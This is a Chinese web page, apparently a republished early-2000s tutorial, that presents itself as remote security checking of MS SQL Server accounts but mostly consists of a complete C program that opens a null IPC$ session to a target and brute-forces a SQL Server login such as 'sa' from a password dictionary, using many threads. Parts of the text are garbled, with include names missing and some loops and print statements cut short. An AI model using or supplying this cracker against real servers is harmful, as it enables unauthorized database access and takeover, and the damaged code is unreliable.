设为首页
加入收藏夹

远程检测MS SQL Server账号安全性
浏览选项:

  ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据
库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,
它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上
等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。
  一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。
其中一种办法大概是以下几步:
  <1>启动ODBC数据库应用程序。
  下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。
  /**********************************************************
  Module Name:SQLCheck.c
  Date:2000.12.14
  WEB:www.patching.net
  Notices:Copyright(c) eyas
  **********************************************************/
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  ////////////////////////////////////////////////////////////////////////
  file://定义全局变量
  char dict[20000][40],//密码字典
  UserName[40],//用户名
  target[40],//目标服务器
  passwd[40];//已经探测出来的正确密码
  int total=0;//字典里面单词数量
  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE
  HANDLE hSemaphore,//信标内核对象
  hEvent;//事件内核对象
  long MaxThreads,//最大线程数量
  ActiveThreads;//活动线程数量
  ////////////////////////////////////////////////////////////////////////
  void usage(char *pragname)
  {
  printf(" Power by eyas"
  " http://www.patching.net"
  " 2000/12/14"
  " Usage:%s "
  " Example:%s 192.168.0.1 sa c:\pwd.dic 50 ",pragname,pragname);
  return;
  }
  ////////////////////////////////////////////////////////////////////////
  int ReadDic(char *dic)
  {
  FILE *fp;
  char tmp[40];
  file://打开字典文件
  if((fp=fopen(dic,"r"))==NULL)
  {
  printf(" Can't open %s",dic);
  return 1;
  }
  while(!feof(fp))
  {
  file://读取数据到临时变量
  if(fgets(tmp,40,fp)==NULL)
  break;
  file://把从文件里面读出来的最后一位数据[换行符号]去掉
  strncpy(dict[total],tmp,strlen(tmp)-1);
  total++;   if(total>=19999)
  break;
  }
  fclose(fp);
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  int ConnIPC(char *RemoteName)
  {
  NETRESOURCE nr;
  DWORD flags=CONNECT_UPDATE_PROFILE;
  TCHAR RN[30]="\\",
  LN[5]="";
  strcat(RN,RemoteName);
  strcat(RN,"\ipc$");
  nr.dwType=RESOURCETYPE_DISK;
  nr.lpLocalName=(LPTSTR)&LN;
  nr.lpRemoteName=(LPTSTR)&RN;
  nr.lpProvider=NULL;
  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  ////////////////////////////////////////////////////////////////////////
  int DelIPC(char *RemoteName)
  {
  DWORD ret;
  TCHAR lpName[30]="\\";
  strcat(lpName,RemoteName);
  strcat(lpName,"\ipc$");
  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);
  if(ret==NO_ERROR)
  {
  return 0;
  }
  else
  {
  return 1;
  }
  }
  ////////////////////////////////////////////////////////////////////////
  DWORD WINAPI SQLCheck(PVOID pPwd)
  {
  file://定义局部变量
  char szBuffer[1025];
  char *pwd;
  SWORD swStrLen;
  SQLHDBC hdbc;
  SQLHANDLE henv;
  SQLRETURN retcode;//ODBC API运行返回值
  SCHAR ConnStr[200];//连接数据库字符串
  long PreviousCount;
  file://取得传递过来准备探测的密码
  pwd=(char *)pPwd;
  file://构造连接数据库字符
  sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",
  target,UserName,pwd);
  file://puts(ConnStr);
  __try{
  file://创建数据库应用的环境句柄
  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)
  {
  printf(" Allocate environment handle failed. ");
  ExitProcess(1);
  }
  file://设置ODBC版本环境
  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
  {
  printf(" Set the ODBC version environment attribute failed. ");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  ExitProcess(1);
  }
  file://创建连接句柄
  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
  *)&hdbc)) != SQL_SUCCESS)
  {
  printf(" Allocate connection handle failed. ");
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  ExitProcess(1);
  }
  file://连接数据源
  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),
  szBuffer,sizeof(szBuffer),&swStrLen,
  SQL_DRIVER_COMPLETE_REQUIRED);
  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)
  {
  file://连接失败,函数终止
  file://printf(" Couldn't connect to %s MSSQL server. ",target);
  }
  else
  {
  file://连接远程MSSQL Server数据库成功
  Cracked=TRUE;
  strncpy(passwd,pwd,sizeof(passwd));
  file://断开连接
  SQLDisconnect(hdbc);
  }
  }//end of tyr
  __finally{
  file://释放连接句柄
  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);
  file://释放环境句柄
  SQLFreeHandle(SQL_HANDLE_ENV, henv);
  file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
  ReleaseSemaphore(hSemaphore,1,&PreviousCount);
  file://计算当前活动线程数量
  ActiveThreads=MaxThreads-PreviousCount-1;
  file://printf(" ActiveThreads-->%d.",ActiveThreads);
  file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束
  if(ActiveThreads==0)
  {
  SetEvent(hEvent);
  }
  }//end of finally
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  int main(int argc,char **argv)
  {
  HANDLE hThread;//线程句柄
  DWORD dwThreadId,dwRet;
  int i=0,err=0;
  clock_t start,end;//程序运行的起始和结束时间
  double duration;
  if(argc!=5)
  {
  usage(argv[0]);
  return 1;
  }
  file://取得目标地址,用户名
  strncpy(target,argv[1],sizeof(target));
  strncpy(UserName,argv[2],sizeof(UserName));
  file://取得并检查用户输入的最大线程数量
  MaxThreads=atol(argv[4]);   if((MaxThreads>100) || (MaxThreads<1))
  {
  usage(argv[0]);
  return 1;
  }
  file://读取字典中的单词到内存中
  if(ReadDic(argv[3])!=0)
  return 1;
  file://与目标机器建立IPC Session
  if(ConnIPC(argv[1])!=0)
  {
  printf(" Can't built IPC NULL Session!");
  return 1;
  }
  else
  {
  printf(" Built IPC NULL Session success! ");

  }
  file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads
  hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);
  if(hSemaphore==NULL)
  {
  printf(" CreateSemaphore() failed.ErrorCode:%d.",GetLastError());
  return 1;
  }
  file://创建事件内核对象[人工重置,初始状态为未通知]
  hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);

  if(hEvent==NULL)
  {
  printf(" CreateEvent() failed.ErrorCode:%d.",GetLastError());
  CloseHandle(hSemaphore);
  return 1;
  }
  file://开始计时
  start=clock();
  file://开始建立线程探测密码
  for(i=0;i {
  file://探测密码成功后跳出此循环
  if(Cracked==TRUE)
  break;
  file://显示进度信息   printf(" [%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);
  file://创建线程
  hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);
  file://处理创建线程错误的情况
  if(hThread==NULL)
  {
  err++;
  MessageBox(NULL,"thread error","error",MB_OK);

  break;
  }
  CloseHandle(hThread);
  Sleep(10);
  file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入
  WaitForSingleObject(hSemaphore,INFINITE);

  }
  file://等待事件内核对象通知,最多等待3分钟
  dwRet=WaitForSingleObject(hEvent,180000);
  switch(dwRet)
  {
  case WAIT_OBJECT_0:
  printf(" All thread done.");
  break;
  case WAIT_TIMEOUT:
  printf(" Wait time out.Exit.");
  break;
  case WAIT_FAILED:
  printf(" WaitForSingleObject() failed.");

  break;
  }
  file://断开与目标机器的IPC Session
  DelIPC(target);
  file://探测密码成功后回显信息
  if(Cracked==TRUE)
  printf(" Success!%s SQL Server User [%s] passwd is [%s].",tar
  file://记时结束
  end=clock();
  file://转换时间格式
  duration = (double)(end - start) / CLOCKS_PER_SEC;
  file://显示所用时间
  printf(" Complete.Use %2.1f seconds. ",duration);
  return 0;
  }
  ////////////////////////////////////////////////////////////////////////
  程序在windows2000,vc++6.0环境下编译通过。


Copyright © 2004 wanxu.com All Rights Reserved